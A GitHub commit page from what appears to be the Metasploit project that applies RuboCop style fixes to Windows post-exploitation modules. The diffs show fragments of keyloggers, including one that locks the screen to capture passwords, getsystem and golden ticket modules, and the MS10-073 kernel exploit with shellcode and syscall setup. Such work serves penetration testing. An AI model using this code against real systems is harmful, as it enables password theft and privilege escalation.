Skip to content

Commit 9ee2ec8

Browse files
authored
Merge pull request #20120 from bcoles/rubocop-modules-post-windows
modules/post/windows: Resolve RuboCop violations
2 parents b1101e9 + 45336dd commit 9ee2ec8

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

58 files changed

+716
-486
lines changed

modules/post/windows/capture/keylog_recorder.rb

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,11 @@ def initialize(info = {})
4545
stdapi_ui_stop_keyscan
4646
]
4747
}
48+
},
49+
'Notes' => {
50+
'Stability' => [CRASH_SAFE],
51+
'SideEffects' => [],
52+
'Reliability' => []
4853
}
4954
)
5055
)
@@ -297,8 +302,8 @@ def keycap
297302
vprint_status("Session: #{datastore['SESSION']} has been closed. Exiting keylog recorder.")
298303
rec = 0
299304
end
300-
rescue ::Exception => e
301-
if e.class.to_s == 'Rex::TimeoutError'
305+
rescue StandardError => e
306+
if e.instance_of?(::Rex::TimeoutError)
302307
@timed_out_age = get_session_age
303308
@timed_out = true
304309

@@ -310,7 +315,7 @@ def keycap
310315
print_status("Session: #{datastore['SESSION']} is not responding. Exiting keylog recorder.")
311316
rec = 0
312317
end
313-
elsif e.class.to_s == 'Interrupt'
318+
elsif e.instance_of?(::Interrupt)
314319
print_status('User interrupt.')
315320
rec = 0
316321
else
@@ -362,7 +367,7 @@ def finish_up
362367
begin
363368
sleep(@interval)
364369
write_keylog_data
365-
rescue ::Exception => e
370+
rescue StandardError => e
366371
print_error("Keylog recorder encountered error: #{e.class} (#{e}) Exiting...") if e.class.to_s != 'Rex::TimeoutError' # Don't care about timeout, just exit
367372
session.response_timeout = last_known_timeout
368373
return

modules/post/windows/capture/lockout_keylogger.rb

Lines changed: 19 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,11 @@ def initialize(info = {})
3434
stdapi_ui_stop_keyscan
3535
]
3636
}
37+
},
38+
'Notes' => {
39+
'Stability' => [CRASH_SAFE],
40+
'SideEffects' => [SCREEN_EFFECTS],
41+
'Reliability' => []
3742
}
3843
)
3944
)
@@ -103,15 +108,16 @@ def keycap(session, keytime, logfile)
103108
kc = VirtualKeyCodes[vk]
104109

105110
f_shift = fl & (1 << 1)
106-
f_ctrl = fl & (1 << 2)
107-
f_alt = fl & (1 << 3)
111+
_f_ctrl = fl & (1 << 2)
112+
_f_alt = fl & (1 << 3)
108113

109114
if kc
110115
name = (((f_shift != 0) && (kc.length > 1)) ? kc[1] : kc[0])
111116
case name
112117
when /^.$/
113118
outp << name
114119
when /shift|click/i
120+
# ignore
115121
when 'Space'
116122
outp << ' '
117123
else
@@ -121,11 +127,13 @@ def keycap(session, keytime, logfile)
121127
outp << ' <0x%.2x> ' % vk
122128
end
123129
end
130+
124131
select(nil, nil, nil, 2)
125132
file_local_write(logfile, "#{outp}\n")
126133
if !outp.nil? && (outp.chomp.lstrip != '')
127134
print_status("Password?: #{outp}")
128135
end
136+
129137
still_locked = 1
130138
# Check to see if the screen saver is on, then check to see if they have logged back in yet.
131139
screensaver = client.railgun.user32.SystemParametersInfoA(114, nil, 1, nil)['pvParam'].unpack('C*')[0]
@@ -144,7 +152,7 @@ def keycap(session, keytime, logfile)
144152
end
145153
select(nil, nil, nil, keytime.to_i)
146154
end
147-
rescue ::Exception => e
155+
rescue StandardError => e
148156
if e.message != 'win'
149157
print_line
150158
print_status("#{e.class} #{e}")
@@ -154,20 +162,19 @@ def keycap(session, keytime, logfile)
154162
end
155163

156164
def run
165+
# Make sure we are on a Windows host
166+
if client.platform != 'windows'
167+
print_error('This module does not support this platform.')
168+
return
169+
end
170+
157171
# Log file variables
158172
host = session.session_host
159-
port = session.session_port
160173
filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') # Create Filename info to be appended to downloaded files
161174
logs = ::File.join(Msf::Config.log_directory, 'scripts', 'smartlocker') # Create a directory for the logs
162175
::FileUtils.mkdir_p(logs) # Create the log directory
163176
logfile = logs + ::File::Separator + host + filenameinfo + '.txt' # Logfile name
164177

165-
# Make sure we are on a Windows host
166-
if client.platform != 'windows'
167-
print_error('This module does not support this platform.')
168-
return
169-
end
170-
171178
# Check admin status
172179
admin = check_admin
173180
if admin == false
@@ -235,14 +242,13 @@ def run
235242
end
236243
client.railgun.user32.LockWorkStation()
237244
if client.railgun.user32.GetForegroundWindow()['return'] == 0
238-
print_error('Locking the workstation falied, trying again..')
245+
print_error('Locking the workstation failed, trying again..')
239246
client.railgun.user32.LockWorkStation()
240247
if client.railgun.user32.GetForegroundWindow()['return'] == 0
241248
print_error('The system will not lock this session, nor will it be used for user login, exiting...')
242249
return
243-
else
244-
print_status('Locked this time, time to start keyloggin...')
245250
end
251+
print_status('Locked this time, time to start keyloggin...')
246252
end
247253
end
248254

modules/post/windows/escalate/droplnk.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,11 @@ def initialize(info = {})
2929
stdapi_fs_getwd
3030
]
3131
}
32+
},
33+
'Notes' => {
34+
'Stability' => [CRASH_SAFE],
35+
'SideEffects' => [ARTIFACTS_ON_DISK],
36+
'Reliability' => []
3237
}
3338
)
3439
)

modules/post/windows/escalate/getsystem.rb

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,10 @@ def initialize(info = {})
3636
'PrintSpooler',
3737
'EFSRPC',
3838
'EfsPotato'
39-
]
39+
],
40+
'Stability' => [CRASH_SAFE],
41+
'SideEffects' => [],
42+
'Reliability' => []
4043
}
4144
)
4245
)
@@ -64,7 +67,7 @@ def run
6467
begin
6568
result = client.priv.getsystem(technique)
6669
print_good("Obtained SYSTEM via technique #{result[1]}")
67-
rescue Rex::Post::Meterpreter::RequestError => e
70+
rescue Rex::Post::Meterpreter::RequestError
6871
print_error('Failed to obtain SYSTEM access')
6972
end
7073
end

modules/post/windows/escalate/golden_ticket.rb

Lines changed: 10 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,11 @@ def initialize(info = {})
3636
stdapi_railgun_api
3737
]
3838
}
39+
},
40+
'Notes' => {
41+
'Stability' => [CRASH_SAFE],
42+
'SideEffects' => [],
43+
'Reliability' => []
3944
}
4045
)
4146
)
@@ -75,13 +80,11 @@ def run
7580
end
7681

7782
unless krbtgt_hash
78-
if framework.db.active
79-
print_status('Searching for krbtgt hash in database...')
80-
krbtgt_hash = lookup_krbtgt_hash(domain)
81-
fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
82-
else
83-
fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash')
84-
end
83+
fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash') unless framework.db.active
84+
85+
print_status('Searching for krbtgt hash in database...')
86+
krbtgt_hash = lookup_krbtgt_hash(domain)
87+
fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash
8588
end
8689

8790
unless domain_sid

modules/post/windows/escalate/ms10_073_kbdlayout.rb

Lines changed: 29 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@ def initialize(info = {})
3030
[ 'OSVDB', '68552' ],
3131
[ 'CVE', '2010-2743' ],
3232
[ 'MSB', 'MS10-073' ],
33-
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],
33+
[ 'URL', 'https://web.archive.org/web/20160308010201/http://www.reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1' ],
3434
[ 'EDB', '15985' ]
3535
],
3636
'DisclosureDate' => '2010-10-12',
@@ -48,6 +48,11 @@ def initialize(info = {})
4848
stdapi_sys_process_getpid
4949
]
5050
}
51+
},
52+
'Notes' => {
53+
'Stability' => [CRASH_OS_DOWN],
54+
'SideEffects' => [ARTIFACTS_ON_DISK],
55+
'Reliability' => []
5156
}
5257
)
5358
)
@@ -56,7 +61,8 @@ def initialize(info = {})
5661
def run
5762
mem_base = nil
5863
dllpath = nil
59-
hDll = false
64+
hdll = false
65+
6066
version = get_version_info
6167
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)
6268
print_error("#{version.product_name} is not vulnerable.")
@@ -174,7 +180,7 @@ def run
174180
"\x00\x00\x00\x00\x00\x00"
175181

176182
pid = session.sys.process.getpid
177-
print_status('Attempting to elevate PID 0x%x' % pid)
183+
print_status(format('Attempting to elevate PID 0x%<pid>x', pid: pid))
178184

179185
# Prepare the shellcode (replace platform specific stuff, and pid)
180186
ring0_code.gsub!('FFFF', [flink_off].pack('V'))
@@ -200,7 +206,7 @@ def run
200206
print_error("Unable to open #{dllpath}")
201207
return
202208
end
203-
hDll = ret['return']
209+
hdll = ret['return']
204210
print_status("Wrote malicious keyboard layout to #{dllpath} ..")
205211

206212
# Allocate some RWX virtual memory for our use..
@@ -209,10 +215,10 @@ def run
209215
mem_size += (0x1000 - (mem_size % 0x1000))
210216
mem = session.railgun.kernel32.VirtualAlloc(mem_base, mem_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
211217
if (mem['return'] != mem_base)
212-
print_error('Unable to allocate RWX memory @ 0x%x' % mem_base)
218+
print_error(format('Unable to allocate RWX memory @ 0x%<mem_base>x', mem_base: mem_base))
213219
return
214220
end
215-
print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base))
221+
print_status(format('Allocated 0x%<mem_size>x bytes of memory @ 0x%<mem_base>x', mem_size: mem_size, mem_base: mem_base))
216222

217223
# Initialize the buffer to contain NO-OPs
218224
nops = "\x90" * mem_size
@@ -230,21 +236,21 @@ def run
230236
end
231237

232238
# InitializeUnicodeStr(&uStr,L"pwn3d.dll"); -- Is this necessary?
233-
pKLID = mem_base
234-
pStr = pKLID + (2 + 2 + 4)
239+
pklid = mem_base
240+
pstr = pklid + (2 + 2 + 4)
235241
kbd_name = 'pwn3d.dll'
236242
uni_name = Rex::Text.to_unicode(kbd_name + "\x00")
237-
ret = session.railgun.memwrite(pStr, uni_name, uni_name.length)
243+
ret = session.railgun.memwrite(pstr, uni_name, uni_name.length)
238244
if !ret
239245
print_error('Unable to copy unicode string data')
240246
return
241247
end
242248
unicode_str = [
243249
kbd_name.length * 2,
244250
uni_name.length,
245-
pStr
251+
pstr
246252
].pack('vvV')
247-
ret = session.railgun.memwrite(pKLID, unicode_str, unicode_str.length)
253+
ret = session.railgun.memwrite(pklid, unicode_str, unicode_str.length)
248254
if !ret
249255
print_error('Unable to copy UNICODE_STRING structure')
250256
return
@@ -257,8 +263,8 @@ def run
257263
print_error('Unable to GetKeyboardLayout')
258264
return
259265
end
260-
hKL = ret['return']
261-
print_status('Current Keyboard Layout: 0x%x' % hKL)
266+
hkl = ret['return']
267+
print_status('Current Keyboard Layout: 0x%x' % hkl)
262268

263269
# _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(
264270
# IN HANDLE Handle,
@@ -284,7 +290,7 @@ def run
284290
[ 'DWORD', 'dwKLID', 'in' ],
285291
[ 'DWORD', 'Flags', 'in' ]
286292
])
287-
ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hKL, pKLID, 0x666, 0x101)
293+
ret = session.railgun.ntdll.KiFastSystemCall(dll_fd, 0x1ae0160, nil, hkl, pklid, 0x666, 0x101)
288294
print_status(ret.inspect)
289295
=end
290296

@@ -294,11 +300,11 @@ def run
294300
pop esi
295301
push 0x101
296302
push 0x666
297-
push #{'0x%x' % pKLID}
298-
push #{'0x%x' % hKL}
303+
push #{'0x%x' % pklid}
304+
push #{'0x%x' % hkl}
299305
push 0
300306
push 0x1ae0160
301-
push #{'0x%x' % hDll}
307+
push #{'0x%x' % hdll}
302308
push esi
303309
#{syscall_stub}
304310
EOS
@@ -313,7 +319,7 @@ def run
313319
print_error('Unable to copy system call stub')
314320
return
315321
end
316-
print_status('Patched in syscall wrapper @ 0x%x' % func_ptr)
322+
print_status(format('Patched in syscall wrapper @ 0x%<func_ptr>x', func_ptr: func_ptr))
317323

318324
# GO GO GO
319325
ret = session.railgun.kernel32.CreateThread(nil, 0, func_ptr, nil, 'CREATE_SUSPENDED', nil)
@@ -333,7 +339,7 @@ def run
333339

334340
# Now, send some input to cause ring0 payload execution...
335341
print_status('Attempting to cause the ring0 payload to execute...')
336-
vInput = [
342+
vinput = [
337343
1, # INPUT_KEYBOARD - input type
338344
# KEYBDINPUT struct
339345
0x0, # wVk
@@ -344,26 +350,25 @@ def run
344350
0x0, # pad 1
345351
0x0 # pad 2
346352
].pack('VvvVVVVV')
347-
ret = session.railgun.user32.SendInput(1, vInput, vInput.length)
353+
ret = session.railgun.user32.SendInput(1, vinput, vinput.length)
348354
print_status('SendInput: ' + ret.inspect)
349355
ensure
350356
# Clean up
351357
if mem_base
352358
ret = session.railgun.kernel32.VirtualFree(mem_base, 0, MEM_RELEASE)
353359
if !(ret['return'])
354-
print_error('Unable to free memory @ 0x%x' % mem_base)
360+
print_error(format('Unable to free memory @ 0x%<mem_base>x', mem_base: mem_base))
355361
end
356362
end
357363

358364
# dll_fd.close
359-
if hDll
360-
ret = session.railgun.kernel32.CloseHandle(hDll)
365+
if hdll
366+
ret = session.railgun.kernel32.CloseHandle(hdll)
361367
if !(ret['return'])
362368
print_error('Unable to CloseHandle')
363369
end
364370
end
365371

366372
session.fs.file.rm(dllpath) if dllpath
367373
end
368-
369374
end

0 commit comments

Comments
 (0)